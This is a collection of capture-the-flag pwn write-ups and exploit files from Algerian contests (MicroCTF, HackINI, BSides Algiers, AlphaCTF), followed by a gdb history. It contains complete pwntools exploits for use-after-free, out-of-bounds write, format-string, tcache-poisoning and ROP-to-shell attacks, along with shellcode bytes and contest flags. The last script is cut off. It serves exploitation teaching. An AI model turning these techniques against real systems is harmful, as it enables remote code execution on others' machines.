-------------------------------------------------------------------------------- /MicroCTF-Quals-2021/lottery/README.md: -------------------------------------------------------------------------------- 1 | # Lottery 2 | ``` 3 | .--------------------------------------------. 4 | | WELCOME TO YOUR FAVOURITE LOTTERY GAME | 5 | | SECURE CODING IS HARD, BUT WE DID OUR BEST | 6 | | TO ENSURE A FAIR GAME FOR EVERYONE :) | 7 | `--------------------------------------------' 8 | / 9 | / 10 | ,---') 11 | ( -_-( 12 | ) .__/ ) 13 | _/ _/_( / _.---._ 14 | (__/ _ _) ,-._ / o \ 15 | //)__(\/,-` |_| O o o O| 16 | _\\///==o=\' |O o o O | 17 | `-' \ / \O o o/ 18 | )___\ `'-.-\\ 19 | / ,\ \ ____)_(____ 20 | / / \ \ '--..---,,--' 21 | /() >() \\_// 22 | hfz |\_\ |\_\ /,-.\ 23 | https://ascii.co.uk/art/lottery 24 | ``` 25 | 26 | ## Description 27 | 28 | Category : pwn
29 | Points : 482
30 | solves : 3
31 | 32 | Secure coding is hard, some bugs are really difficult to find even with the most advanced fuzzing techniques!
33 | Find a way to win the lottery and get the flag. 34 | 35 | ## Analysis 36 | This is a lottery game, we need to register to play by guessing a random number, then we can see the stats. 37 | ``` 38 | .--------- Menu ---------. 39 | | 1. Register | 40 | | 2. Play | 41 | | 3. Stats | 42 | | 4. Unregister | 43 | | 5. Quit | 44 | `------------------------' 45 | >>> 1 46 | Enter your age: 23 47 | Enter your gender (male/female): male 48 | Enter your nickname: $hell 49 | Successfully registered. 50 | .--------- Menu ---------. 51 | | 1. Register | 52 | | 2. Play | 53 | | 3. Stats | 54 | | 4. Unregister | 55 | | 5. Quit | 56 | `------------------------' 57 | >>> 2 58 | Your guess: 12345 59 | Wrong wrong wrong, WRONG!! 60 | ``` 61 | I tried decompiling the binary with ida and I arrived to this conclusion. 62 | There are two types of structs (player and stats) that look like this: 63 | ```c 64 | typedef struct player { 65 | int age; 66 | char gender[16]; 67 | char *nickname; 68 | }player; 69 | 70 | typedef struct stats { 71 | void *next_pointer; 72 | int round_number; 73 | int actual_value; 74 | int your_guess; 75 | }stats; 76 | ``` 77 | I also found that the seed is a global variable (in .bss section) and since PIE is disabled, its address won't change.
78 | we notice that we can't play without registering, but we can still play if we register then unregister. 79 | This will cause the new stats struct to allocate the same heap (fast-bin) chunck where the player struct used to be. (kinda use-after-free) 80 | 81 | ## Solution 82 | We can leak the seed by doing the following :
83 | 1_ register a player (which will malloc(0x20))
84 | 2_ unregister (which will free the allocated player chunck)
85 | 3_ play by entering the seed address as our guess (which will reallocate the same memory chunck where player used to be 86 | and our guess will be at the same place in memory where the nickname pointer was)
87 | 4_ show stats (it will try to access the players nickname by accessing the pointer at player[3], but in reality it's accessing 88 | stats[3] where the seed's address is)
89 | 5_ use the leaked seed to calculate the next "random" number and win the game.
90 | 91 | ## Exploit 92 | ```python 93 | #!/usr/bin/env python3 94 | 95 | from pwn import * 96 | from ctypes import CDLL 97 | 98 | exe = ELF("./lottery") 99 | 100 | context.binary = exe 101 | 102 | seed_addr = 0x4040F0 103 | 104 | def conn(): 105 | if args.LOCAL: 106 | return process([exe.path]) 107 | else: 108 | return remote("pwn.ctf.microclub.net", 5003) 109 | 110 | def register(io, age, gender, name): 111 | io.sendline('1') 112 | io.sendline(str(age)) 113 | io.sendline(gender) 114 | io.sendline(name) 115 | 116 | def unregister(io): 117 | io.sendline('4') 118 | 119 | def play(io, guess): 120 | io.sendline('2') 121 | io.sendline(str(guess)) 122 | 123 | def show_stats(io): 124 | io.recvuntil('>>> ') 125 | io.sendline('3') 126 | io.recvuntil('Current player: Mrs. ') 127 | return int.from_bytes(io.recv(numb=4), "little") 128 | 129 | def main(): 130 | r = conn() 131 | 132 | register(r, 22, 'male', 'shell') 133 | unregister(r) 134 | play(r, seed_addr) 135 | seed = (show_stats(r)) 136 | libc = CDLL("libc.so.6") 137 | libc.srand(seed) 138 | libc.rand() 139 | play(r, libc.rand()) 140 | 141 | r.interactive() 142 | 143 | if __name__ == "__main__": 144 | main() 145 | ``` 146 | 147 | ## Flag 148 | ``` 149 | shellmates{d4ngl1ng_p01nt3rs_4r3_d4ng3r0us_my_dud3s} 150 | ``` 151 | 152 | [Shellmates's original write-ups](https://github.com/Shellmates/MicroCTF-2021-quals) 153 | 154 | -------------------------------------------------------------------------------- /MicroCTF-Quals-2021/sudopwn/README.md: -------------------------------------------------------------------------------- 1 | # SudoPWN 2 | 3 | ## Description 4 | 5 | Category : pwn
6 | Points : 492
7 | Solves : 2
8 | 9 | Check out my Sudoku console game ! 10 | 11 | ## Analysis 12 | This is a simple sudoku console-game. We can fill/randomize/print/autosolve the board. 13 | We notice that the board is not initialized: 14 | ```c 15 | Board board[N][N]; 16 | ``` 17 | so by printing the board we can leak previously used addresses from the stack. 18 | ``` 19 | $ ./sudopwn 20 | 1) Fill board 21 | 2) Randomize board 22 | 3) Print board 23 | 4) Autosolve board 24 | 5) Exit 25 | 26 | > 3 27 | 28 | 1700966438 | -1643795816 32705 | -1583889672 32764 -1583889616 29 | 32764 -1643796720 32705 | -1646025793 | 32705 30 | -1583889616 32764 | | -1643796720 31 | ------+-------+------ 32 | 32705 -1648421113 32705 | -1583889840 | 32764 -1583889824 32764 33 | -1643795816 32705 | | -1583889808 32764 -1 34 | | -1583414576 32764 -1643796720 | 32705 35 | ------+-------+------ 36 | | | 11 -1646061984 37 | 32705 -1583889656 32764 | 15774463 1 | -1419767187 21907 38 | -1646003360 32705 | -1419767264 21907 | -1419769696 21907 -1583889456 39 | ``` 40 | We also notice the the fill_board function doesn't check if the indexes are >= 9, so we have an arbitrary write primitive. 41 | ```c 42 | void fill_board(Board board[N][N]) { 43 | int row, col, val; 44 | 45 | row = read_num("Row index: "); 46 | col = read_num("Column index: "); 47 | val = read_num("Value: "); 48 | 49 | board[row][col] = val; 50 | } 51 | ``` 52 | After doing some dynamic analysis with pwndbg, we find that there is a libc address of the string "__vsdo_getcpu" 53 | at index board[3][1] 54 | ``` 55 | pwndbg> x/41gx $rbp-0x150 56 | 0x7fffffffe630: 0x0000000000000000 0x000000006562b026 57 | 0x7fffffffe640: 0x00007ffff7ffea98 0x00007fffffffe788 58 | 0x7fffffffe650: 0x00007fffffffe7c0 0x00007ffff7ffe710 59 | 0x7fffffffe660: 0x0000000000000000 0x00007ffff7dde3bf 60 | 0x7fffffffe670: 0x0000000000000000 0x00007fffffffe7c0 61 | 0x7fffffffe680: 0x0000000000000000 0x0000000000000000 62 | 0x7fffffffe690: 0x0000000000000000 0x00007ffff7ffe710 63 | 0x7fffffffe6a0: 0x00007ffff7b95707<---- 0x0000000000000000 64 | 0x7fffffffe6b0: 0x00007fffffffe6e0 0x00007fffffffe6f0 65 | 0x7fffffffe6c0: 0x00007ffff7ffea98 0x0000000000000000 66 | 0x7fffffffe6d0: 0x0000000000000000 0x00007fffffffe700 67 | 0x7fffffffe6e0: 0x00000000ffffffff 0x0000000000000000 68 | 0x7fffffffe6f0: 0x00007ffff7ffa2d0 0x00007ffff7ffe710 69 | 0x7fffffffe700: 0x0000000000000000 0x0000000000000000 70 | 0x7fffffffe710: 0x0000000000000000 0x0000000000000000 71 | 0x7fffffffe720: 0x000000000000000b 0x00007ffff7dd5660 72 | 0x7fffffffe730: 0x00007fffffffe798 0x0000000000f0b2ff 73 | 0x7fffffffe740: 0x0000000000000001 0x000055555540126d 74 | 0x7fffffffe750: 0x00007ffff7de3b60 0x0000000000000000 75 | 0x7fffffffe760: 0x0000555555401220 0x00005555554008a0 76 | 0x7fffffffe770: 0x00007fffffffe860 77 | pwndbg> x/s 0x00007ffff7b95707 78 | 0x7ffff7b95707: "__vdso_getcpu" 79 | ``` 80 | 81 | ## Solution 82 | After leaking the "_vdso_getcpu" libc address, we can calculate the libc base address using the offset, then overwrite the main return address 83 | at index board[9][5] with a one_gadget to get a shell. 84 | 85 | ## Exploit 86 | ```python 87 | #!/usr/bin/env python3 88 | 89 | from pwn import * 90 | 91 | exe = ELF("./sudopwn") 92 | libc = ELF("./libc.so.6") 93 | ld = ELF("./ld-2.27.so") 94 | 95 | context.binary = exe 96 | context.terminal = ['st'] 97 | 98 | one_gadget_offset = 0x10a41c 99 | 100 | def conn(): 101 | if args.LOCAL: 102 | return process(exe.path) 103 | else: 104 | return remote("pwn.ctf.microclub.net", 5004) 105 | 106 | def main(): 107 | r = conn() 108 | 109 | log.info('Leaking libc address ...') 110 | r.sendline('3') 111 | r.recvuntil('------+-------+------\n') 112 | numbers = r.recvline().decode("utf-8") 113 | libc__vdso_getcpu = (int(numbers.split(' ')[0]) << 32) + (int(numbers.split(' ')[1]) & 0xffffffff) 114 | log.info(f'Libc__vdso_getcpu address : {hex(libc__vdso_getcpu)}') 115 | libc.address = libc__vdso_getcpu - next(libc.search(b"__vdso_getcpu")) 116 | log.info(f'Libc base address : {hex(libc.address)}') 117 | one_gadget = libc.address + one_gadget_offset 118 | log.info(f'Libc one gadget : {hex(one_gadget)}') 119 | r.sendline('1\n9\n5') 120 | r.sendline(str(one_gadget & 0xffffffff)) 121 | r.sendline('5') 122 | 123 | r.interactive() 124 | 125 | 126 | if __name__ == "__main__": 127 | main() 128 | ``` 129 | 130 | ## Flag 131 | ``` 132 | shellmates{th3_WH0lE_4ddre$s_sP4c3_Is_4_sUD0kU_b0aRD!!!} 133 | ``` 134 | 135 | [Shellmates's original write-ups](https://github.com/Shellmates/MicroCTF-2021-quals) 136 | 137 | -------------------------------------------------------------------------------- /HackINI2k23/write_what_where/README.md: -------------------------------------------------------------------------------- 1 | # Write-What-Where 2 | 3 | Note : It goes without mentioning that my solution is a little more complicated & time-consuming debuggin-wise,
4 | but I enjoyed solving it this way, please refer to [the author's original write-up]() for the simpler intended solution. 5 | 6 | # Description 7 | The path is clear, but do you know how to get there
8 | Category: PWN
9 | (The code was also provided) 10 | 11 | # Why did my mind think this way? 12 | 13 | Before solving this challenge, we worked on a reversing challenge that we solved using ChatGPT,
14 | it was just some assembly code comparing the input to the flag char by char, and I noticed that the RBP pointer (and not the RSP pointer)
15 | is the one used to calculate the offset of the buffer in the stack, (I knew this before, but because I saw it again, it registered in the back of my mind)
16 | 17 | # Discovery 18 | ![](./chall.png) 19 | 20 | # Vulnerabilities 21 | First of all, we got this "gift" in the main function: 22 | ```c 23 | mprotect((void*)(((unsigned long)&func >> 12) << 12),0x1000,PROT_READ | PROT_WRITE | PROT_EXEC); //This is a gift for you 24 | ``` 25 | In memory, for security purposes, there is no segment where the process has both write and execute permissions
26 | and here, this line is making the code segment both writeable and executable (it'a only readable & executable by default" 27 | ![](./permissions.png) 28 | so we can overwrite the code of any function from the binary with our shellcode
29 | And to accomplish that, there is a format-string vulnerbility in the print_name function 30 | ```c 31 | void print_name(char name[NAME_SIZE]){ 32 | printf(name); // format string :) 33 | } 34 | ``` 35 | 36 | # TL;DR 37 | 38 | 1 Overwrite the RBP pointer using the format-string, to make it point to the menu function in the code segment
39 | 2 Use the get_name function to overwrite the menu function code in the code segment with our shellcode.
40 | 3 When the menu function gets executed in the next loop iteration, a shell will be poped instead :)
41 | 42 | # Exploit 43 | 44 | ```python 45 | #!/usr/bin/env python3 46 | from pwn import * 47 | 48 | exe = ELF("./chall") 49 | context.binary = exe 50 | 51 | shellcode = b"\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05" 52 | 53 | def conn(): 54 | return remote("write-what-where.ctf.shellmates.club", 443, ssl=True) 55 | 56 | 57 | def main(): 58 | for i in range(10): 59 | r = conn() 60 | 61 | # Leaking stack & code addresses 62 | r.recvuntil(b'Choice') 63 | r.sendline(b'1') 64 | r.sendline(b'%7$p\n%9$p') 65 | r.recvuntil(b'Choice:') 66 | r.sendline(b'2') 67 | rbp_addr = int(r.recvline().strip(), 16) - 0x30 68 | menu_addr = int(r.recvline().strip(), 16) - 3 69 | log.info(f"Leaking base pointer address :: {hex(rbp_addr)}") 70 | log.info(f"Leaking menu function address :: {hex(menu_addr)}") 71 | 72 | r.recvuntil(b'Choice') 73 | r.sendline(b'1') 74 | 75 | # forming the format-string payload 76 | left = (menu_addr >> 32) - 12 #12 'a' at the start of the payload 77 | log.info(f"First 2 most significant bytes to overwrite :: {hex(left)}") 78 | right = (menu_addr & 0xffffffff) - left #offset of aaaaaa and already written bytes 79 | log.info(f"last 4 least significant bytes to overwrite :: {hex(right)}") 80 | 81 | payload = f'aaaaaaaaaaaa%{str(left)}c%19$n%{str(right)}c%20$n' 82 | log.info(f"Format-string payload :: {payload}") 83 | if len(payload) != 40: # check to make sure for address are aligned in memory 84 | log.info(f"Bad payload length :: {len(payload)}. Retrying ...\n") 85 | print(payload) 86 | r.close() 87 | continue 88 | 89 | # overwriting the RBP pointer with a menu function pointer (minus some offset) 90 | log.info(f"Sending format-string payload, please wait ...") 91 | r.sendline(flat(b'aaaaaaaaaaaa%', bytes(str(left), 'utf-8'), b'c%19$n%', bytes(str(right), 'utf-8'), b'c%20$n', p64(rbp_addr+4), p64(rbp_addr))) 92 | r.recvuntil(b'Choice:') 93 | r.sendline(b'2') 94 | 95 | # Overwriting menu function code with shellcode using get_name option 96 | r.recvuntil(b'Choice:') 97 | log.info(f"Overwriting menu function code with shellcode, here is your shell ;)\n") 98 | r.sendline(b'1') 99 | r.sendline(flat(shellcode)) 100 | r.recvuntil(b'Name:') 101 | r.interactive() 102 | break 103 | 104 | 105 | if __name__ == "__main__": 106 | main() 107 | ``` 108 | # Flag from tty 109 | 110 | I ran my exploit on my second thinkpad (that had only arch installed with no display manager, because my main laptop was acting up) 111 | ![](../flag.jpg) 112 | -------------------------------------------------------------------------------- /Alphactf2k23/Note_keeper_2/.gdb_history: -------------------------------------------------------------------------------- 1 | x/32gx 0x55a98f933290+0x250 2 | gdb 3 | heap 4 | x/32gx 0x55a685b2c6b0 5 | heap 6 | x/8gx 0x55e29ce456b0 7 | x/8gx 0x55e29ce456a0 8 | x/32gx 0x55e29ce454a0 9 | heap 10 | x/128gx 0x55e29ce45290 11 | heap 12 | x/128gx 0x556b0a30d000 13 | x/128gx 0x556b0a30d290 14 | heap 15 | x/128gx 0x561d967ed290 16 | x/8gx 0x561d967ee160 17 | heap 18 | x/32gx 0x55e6c81ed290 19 | x/128gx 0x55e6c81ed290 20 | heap 21 | x/128gx 0x55f28fca5290 22 | c 23 | heap 24 | x/8gx 0x7f6989436be0 25 | c 26 | vmmap 27 | info proc files 28 | info proc files 33891 29 | info proc files 30 | info proc files 40960 31 | r 32 | vmmap 33 | c 34 | vmmap 35 | heap 36 | x/8gx 0x558bdf94b290 37 | x/8gx 0x558bdf94b490 38 | break remove_note 39 | c 40 | c 41 | disassemble 42 | smallbins 43 | heap 44 | heap 45 | heap 46 | c 47 | heap 48 | c 49 | heap 50 | x/8gx 0x7f53a5ba1de0 51 | x/8gx 0x00007f53a5ba1dd0 52 | x/8gx 0x00007f53a5ba1dc0 53 | r 54 | heap 55 | c 56 | heap 57 | x/8gx 0x55555555a290 58 | r 59 | heap 60 | x/32gx 0x55555555a290 61 | c 62 | heap 63 | x/32gx 0x55555555a290 64 | vmmap 65 | r 66 | disassemble remove_note 67 | x/gx 0x555555558049 68 | c 69 | x/gx 0x555555558060 70 | vmmap 71 | checksec 72 | _free 73 | x/64gx 0x7ffff7fc1000 74 | x/gx 0x7ffff7fc1b78 75 | c 76 | x/gx 0x7ffff7fc1b78 77 | x/32gx 0x7ffff7fc1b70 78 | x/32gx 0x7ffff7fc1b78 79 | x/32gx 0x7ffff7fc1b50 80 | r 81 | disassemble remove_note 82 | x/64gx 0x555555558060 83 | x/128gx 0x555555558060 84 | x/128s 0x555555558060 85 | x/99999s 0x555555558060 86 | x/999s 0x555555558060 87 | vmmap 88 | x/128gx 0x555555558060 89 | x/512gx 0x555555558060 90 | x/s 0x5555555588b0 91 | x/s 0x5555555588b1 92 | x/s 0x5555555588c1 93 | x/s 0x5555555588d1 94 | r 95 | break remove_note 96 | c 97 | ni 98 | r 99 | r 100 | disassemble add_note 101 | break *0x00005555555554b1 102 | c 103 | ni 104 | r 105 | vmmap 106 | heap 107 | x/8gx 0x55ce7fb3d290 108 | heap 109 | x/8gx 0x561d4a27f290 110 | c 111 | heap 112 | x/8gx 0x559457f51290 113 | heap 114 | x/8gx 0x55e09d007290 115 | c 116 | heap 117 | x/8gx 0x5620fad1d290 118 | c 119 | heap 120 | x/8gx 0x5630ff7216f0 121 | c 122 | x/8gx 0x5630ff7216f0 123 | x/8gx 124 | x/8gx 0x5630ff7216f0 125 | heap 126 | x/8gx 0x5638698e1290 127 | heap 128 | x/8gx 0x55a8f922c290 129 | heap 130 | x/8gx 0x55f9a725f290 131 | c 132 | x/8gx 0x55f9a725f290 133 | x/16gx 0x55f9a725f290 134 | c 135 | heap 136 | x/8gx 0x55a43aedc290 137 | c 138 | r 139 | vmmap 140 | disassemble remove_note 141 | disassemble remove_note 142 | disassemble remove_note 143 | vmmap 144 | disassemble remove_note 145 | disassemble remove_note 146 | x/64gx 0x560041695060-(64*8) 147 | x/64gx 0x560041695060-(62*8) 148 | x/s 0x560041694e60 149 | x/gx 0x00007fe2c93b86d0 150 | x/gx 0x0000560041695008 151 | x/gx 0x560041695000 152 | c 153 | c 154 | disassemble remove_note 155 | x/64gx 0x5591a1af1060-(62*8) 156 | x/gx 0x00005591a1af1008 157 | r 158 | disassemble remove_note 159 | x/64gx 0x555555558060-(62*8) 160 | disassemble remove_note 161 | disassemble remove_note 162 | heap 163 | x/8gx 0x55cbe0b21290 164 | set 0x55cbe0b212b0=0x21 165 | set *0x55cbe0b212b0=0x21 166 | x/8gx 0x55cbe0b21290 167 | set *0x55cbe0b212b8=0x21 168 | set *0x55cbe0b212bc=0x0 169 | x/8gx 0x55cbe0b21290 170 | set (long int)*0x55cbe0b212a0=0x21 171 | set *(l0x55cbe0b212a0 172 | x/8gx 0x55cbe0b21290 173 | set (long long int)*0x55cbe0b212a8=0x21 174 | set (long long int)0x55cbe0b212a8=0x21 175 | set *(long long int)0x55cbe0b212a8=0x21 176 | x/8gx 0x55cbe0b21290 177 | set *0x55cbe0b212ac=0x0 178 | x/8gx 0x55cbe0b21290 179 | c 180 | heap 181 | x/8gx 0x56466e111290 182 | heap 183 | x/8gx 0x55a6e5ec2290 184 | c 185 | heap 186 | x/8gx 0x55a6e5ec2290 187 | x/8gx 0x55a6e5ec2290+0x90 188 | heap 189 | c 190 | heap 191 | x/8gx 0x55a6e5ec26f0 192 | heap 193 | x/8gx 0x55a6e5ec2290 194 | heap 195 | x/8gx 0x5652ef0ba290 196 | c 197 | heap 198 | x/8gx 0x5652ef0ba290 199 | x/32gx 0x7f70d965ab00 200 | x/32gx 0x7f70d965ab08 201 | x/32gx 0x7f70d965ab00 202 | set *0x5652ef0ba2b0=0x7f70d965ab70 203 | x/8gx 0x5652ef0ba290 204 | set *0x5652ef0ba2b4=0x7f70 205 | x/8gx 0x5652ef0ba290 206 | x/gx 0x00007f70d965ab70 207 | c 208 | heap 209 | heap 210 | x/8gx 0x563f439cd290 211 | x/16gx 0x7f3b09df2b60 212 | set *0x563f439cd2b0=0x7f3b09df2b70 213 | set *0x563f439cd2b4=0x7f3b 214 | x/8gx 0x563f439cd290 215 | c 216 | heap 217 | x/8gx 0x558b6aeed290 218 | x/8gx 0x7feaafed9b70 219 | set *0x558b6aeed2b0=0x7feaafed9b70 220 | set *0x558b6aeed2b4=0x7fea 221 | x/8gx 0x558b6aeed290 222 | c 223 | heap 224 | x/8gx 0x558b6aeed290 225 | c 226 | heap 227 | x/8gx 0x558b6aeed320 228 | heap 229 | x/8gx 0x560ea6aca290 230 | x/8gx 0x560ea6aca320 231 | x/8gx 0x7f0cc8fbfb70 232 | set *0x560ea6aca2b0=0x7f0cc8fbfb70 233 | set *0x560ea6aca2b4=0x7f0c 234 | x/8gx 0x560ea6aca290 235 | c 236 | heap 237 | x/8gx 0x560ea6aca320 238 | x/8gx 0x560ea6aca290 239 | c 240 | heap 241 | x/8gx 242 | x/8gx 0x7f0cc8fbfb70 243 | heap 244 | x/8gx 0x7fe0df3dab70 245 | disassemble 0x00007fe0df2d1afe 246 | break *0x00007fe0df2d1afe 247 | c 248 | ni 249 | disassemble system 250 | break system 251 | c 252 | ni 253 | ni 254 | disassemble remove_note 255 | break *0x0000559ca120a62f 256 | c 257 | -------------------------------------------------------------------------------- /BSides-Algiers-2023/exploit.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from pwn import * 4 | 5 | exe = ELF("./chall_patched") 6 | libc = ELF("./libc.so.6") 7 | ld = ELF("./ld-linux-x86-64.so.2") 8 | 9 | context.binary = exe 10 | 11 | 12 | def conn(): 13 | if args.LOCAL: 14 | r = process([exe.path]) 15 | if args.DEBUG: 16 | gdb.attach(r) 17 | else: 18 | r = remote("just-pwnme.bsides.shellmates.club", 443, ssl=True) 19 | return r 20 | 21 | 22 | def allocate_chunk(r, index, size, data): 23 | r.recvuntil(b"choice : \n") 24 | r.sendline(b'0') 25 | r.recvuntil(b"Index : ") 26 | r.sendline(bytes(str(index), 'utf-8')) 27 | r.recvuntil(b"Size : ") 28 | r.sendline(bytes(str(size), 'utf-8')) 29 | r.recvuntil(b"Data : ") 30 | r.sendline(data) 31 | 32 | 33 | def free_chunk(r, index): 34 | r.recvuntil(b"choice : \n") 35 | r.sendline(b'1') 36 | r.recvuntil(b"Index : ") 37 | r.sendline(bytes(str(index), 'utf-8')) 38 | 39 | 40 | def print_chunk(r, index): 41 | r.recvuntil(b"choice : \n") 42 | r.sendline(b'2') 43 | r.recvuntil(b"Index : ") 44 | r.sendline(bytes(str(index), 'utf-8')) 45 | 46 | 47 | def edit_chunk(r, index, data): 48 | r.recvuntil(b"choice : \n") 49 | r.sendline(b'3') 50 | r.recvuntil(b"Index : ") 51 | r.sendline(bytes(str(index), 'utf-8')) 52 | r.recvuntil(b"Data : ") 53 | r.send(data) 54 | 55 | 56 | def main(): 57 | r = conn() 58 | 59 | # Allocate two chunks 60 | allocate_chunk(r, 0, 16, b'aaa') 61 | allocate_chunk(r, 1, 16, b'aaa') 62 | 63 | # Free both chuncks into t-cache 64 | free_chunk(r, 0) 65 | free_chunk(r, 1) 66 | 67 | # Leak heap base from first t-cache chunk 68 | print_chunk(r, 0) 69 | heap = int.from_bytes(r.recv(numb=6).strip(), "little") << 12 70 | log.info(f"Leaking heap base address : {hex(heap)}") 71 | 72 | # Overwrite the forward pointer of the second t-cache chunk 73 | # (encoding the pointer to bypass safe-linking) 74 | heap_overlap = ((heap + 0x2c0) >> 12) ^ (heap+0x2b0) 75 | edit_chunk(r, 1, flat(p64(heap_overlap), b'\n')) 76 | 77 | # Allocate the first firs entry in t-cache 78 | allocate_chunk(r, 1, 16, b'aaa') 79 | 80 | # Allocate a chunk overlapping with the previously allocated chunk 81 | allocate_chunk(r, 1, 16, b'aaa') 82 | 83 | # Edit the size of the overlaping chunk to a large bin size 84 | edit_chunk(r, 0, flat(p64(0), p64(0x421))) 85 | 86 | # Create additional chunck to pass "prev chunck in-use" 87 | allocate_chunk(r, 0, 256, b'aaa') 88 | allocate_chunk(r, 0, 256, b'aaa') 89 | allocate_chunk(r, 0, 256, b'aaa') 90 | allocate_chunk(r, 0, 176, b'aaa') 91 | allocate_chunk(r, 0, 16, b'aaa') 92 | 93 | # Free the fake large chunk to leak main_arena address and calculate libc address 94 | free_chunk(r, 1) 95 | print_chunk(r, 1) 96 | libc.address = int.from_bytes(r.recv(numb=6).strip(), "little") - 0x219ce0 97 | log.info(f"Leaking libc base address : {hex(libc.address)}") 98 | 99 | # Allocate two chunks 100 | allocate_chunk(r, 0, 16, b'aaa') 101 | allocate_chunk(r, 1, 16, b'aaa') 102 | 103 | # Free both chuncks 104 | free_chunk(r, 0) 105 | free_chunk(r, 1) 106 | 107 | # Overwrite the forward pointer of the second t-cache chunk 108 | # (encoding the pointer to bypass safe-linking) 109 | environ = ((heap + 0x2d0) >> 12) ^ (libc.address + 0x221200-16) 110 | edit_chunk(r, 1, flat(p64(environ), b'\n')) 111 | 112 | # Allocate the first entry in t-cache 113 | allocate_chunk(r, 1, 16, b'aaa') 114 | 115 | # Allocate a chunk overlapping with the environ variable of the dynamic linker 116 | allocate_chunk(r, 1, 16, b'a'*15) 117 | 118 | # Leak the envp stack pointer and calculate the return address pointer of main 119 | print_chunk(r, 1) 120 | r.recvline() 121 | main_ret_addr = int.from_bytes(r.recv(numb=6).strip(), "little") - 328 + 32 122 | log.info(f"Leaking main return address : {hex(main_ret_addr)}") 123 | 124 | # Allocate two chunks 125 | allocate_chunk(r, 0, 64, b'aaa') 126 | allocate_chunk(r, 1, 64, b'aaa') 127 | 128 | # Free both chunks 129 | free_chunk(r, 0) 130 | free_chunk(r, 1) 131 | 132 | # Overwrite the forward pointer of the second t-cache chunk 133 | # (encoding the pointer to bypass safe-linking) 134 | main_ret_addr = ((heap + 0x340) >> 12) ^ (main_ret_addr) 135 | edit_chunk(r, 1, flat(p64(main_ret_addr), b'\n')) 136 | 137 | # Prepare a rop gadget to execute "system("/bin/sh\0");" 138 | rop = ROP(libc) 139 | binsh = next(libc.search(b"/bin/sh\x00")) 140 | ret = rop.find_gadget(['ret']).address 141 | system = libc.symbols['system'] 142 | poprdi = rop.find_gadget(["pop rdi", "ret"]).address 143 | payload = flat(main_ret_addr, ret, poprdi, binsh, system) 144 | 145 | # Allocate the first entry in t-cache 146 | allocate_chunk(r, 1, 64, b'aaa') 147 | 148 | # Alocate a chunk overlapping with the main return address in the stack 149 | allocate_chunk(r, 1, 64, payload) 150 | 151 | # Exit to make main return and get a shell 152 | r.recvuntil(b"choice : \n") 153 | r.sendline(b'4') 154 | log.info("Enjoy your $hell ;)") 155 | r.interactive() 156 | 157 | 158 | if __name__ == "__main__": 159 | main() 160 | -------------------------------------------------------------------------------- /BSides-Algiers-2021-finals/safefree/README.md: -------------------------------------------------------------------------------- 1 | # SafeFree 2 | 3 | Note : When reversing the binary, i thought some restriction were there (that weren't actually there) which lead me
4 | to use a bit more complicated solution, please refere to 5 | [Shellmates's original write-up](https://github.com/Shellmates/BSides-Algiers-2k21-Finals-chals/tree/main/pwn/safefree/solution) for the simpler intended solution 6 | 7 | # Description 8 | ![](./safefree.png) 9 | 10 | # The confusion 11 | I thought the allocate function was overwriting the first 16 bytes (forward and backward pointers) with null bytes after allocating heap memory to prevent us from leaking heap addresses, while in fact only the second 8 bytes (only the backward pointer) were overwritten with null bytes. 12 | so basically the first part about leaking the heap address could've been avoided. 13 | 14 | # Vulnerabilities 15 | * The binary is using the read function which doesn't append a null-byte at the end of the input string which helps us leak memory addresses.
16 | * the safefree function attempts to free the pointer reference instead of the pointer itself giving us control over an arbitrary free, 17 | which leads us to arbitrary write).
18 | 19 | # TL;DR 20 | 21 | 1 _ consolidate 2 fastchunks and leak heap address.
22 | 2 _ consolidate 2 large chunks and leak main_arena address to calculate libc base address.
23 | 3 _ double free a fastchunk to poinson the fastbin pointer to point to __free_hook.
24 | 4 _ overwrite __free_hook with system address.
25 | 5 _ free(bin_sh_pointer) //system("/bin/sh");
26 | 27 | # Solution 28 | 29 | ```python 30 | #!/usr/bin/env python3 31 | 32 | from pwn import * 33 | 34 | exe = ELF("./safefree_patched") 35 | libc = ELF("./libc-2.27.so") 36 | ld = ELF("./ld-2.27.so") 37 | 38 | context.binary = exe 39 | context.terminal = ['st'] 40 | 41 | def conn(): 42 | if args.LOCAL: 43 | r = process(exe.path) 44 | else: 45 | r = remote("pwn.ctf.shellmates.club", 1502) 46 | 47 | return r 48 | 49 | def allocate(io, size, data): 50 | io.sendlineafter(b"Choice", b"1") 51 | io.sendlineafter(b"Size", str(size)) 52 | io.sendlineafter(b"Data", data) 53 | 54 | def free(io, index): 55 | io.sendlineafter(b"Choice", b"2") 56 | io.sendlineafter(b"Index", str(index)) 57 | 58 | def safefree(io, index): 59 | io.sendlineafter(b"Choice", b"3") 60 | io.sendlineafter(b"Index", str(index)) 61 | 62 | def view(io, index): 63 | io.sendlineafter(b"Choice", b"4") 64 | io.sendlineafter(b"Index", str(index)) 65 | 66 | def leak(io): 67 | io.recvuntil(b"Data") 68 | io.recvline() 69 | return(u64(io.recvline(keepends=False).ljust(8, b'\0'))) 70 | 71 | def main(): 72 | r = conn() 73 | 74 | log.info("Leaking heap address") 75 | 76 | #filling the tcachebin for size 0x10 and adding 2 fastchunks of the same size 77 | for i in range(9): 78 | allocate(r, 0x10, '') 79 | for i in range(9): 80 | free(r, i) 81 | 82 | #forcing fastbin consolidation by allocating a large chunk (in the consolidated space from the 2 fastchunks + top chunk) 83 | allocate(r, 0x410, 'a'*0x1f) 84 | 85 | #leaking fastbin pointer (from previous second fastbins) 86 | view(r, 0) 87 | fastbin = leak(r) 88 | log.info(f"fastbin at: {hex(fastbin)}") 89 | 90 | log.info("Leaking libc address") 91 | 92 | #allocating 2 more large chunks (the third chunk is to prevent consolidation with top chunk, it's size does't matter) 93 | allocate(r, 0x410, '') 94 | allocate(r, 0x410, '') 95 | 96 | #consolidation of the first and second large chunks 97 | free(r, 1) 98 | free(r, 0) 99 | 100 | #allocating a large chunk of a bigger size (in the consolidated space from the first and second large chunks) 101 | allocate(r, 0x430, 'a'*0x41f) 102 | view(r, 0) 103 | 104 | #leaking main_arena pointer (from previous second large chunk) 105 | libc.address = leak(r) - (libc.symbols['main_arena']+0x60) 106 | log.info(f"libc base address at: {hex(libc.address)}") 107 | 108 | #freeing all indexes just for simplifiying the exploit 109 | free(r, 2) 110 | free(r, 0) 111 | 112 | #filling the tcachebin for size 0x10 plus 2 fastchunks of the same size 113 | for i in range(9): 114 | allocate(r, 0x10, '') 115 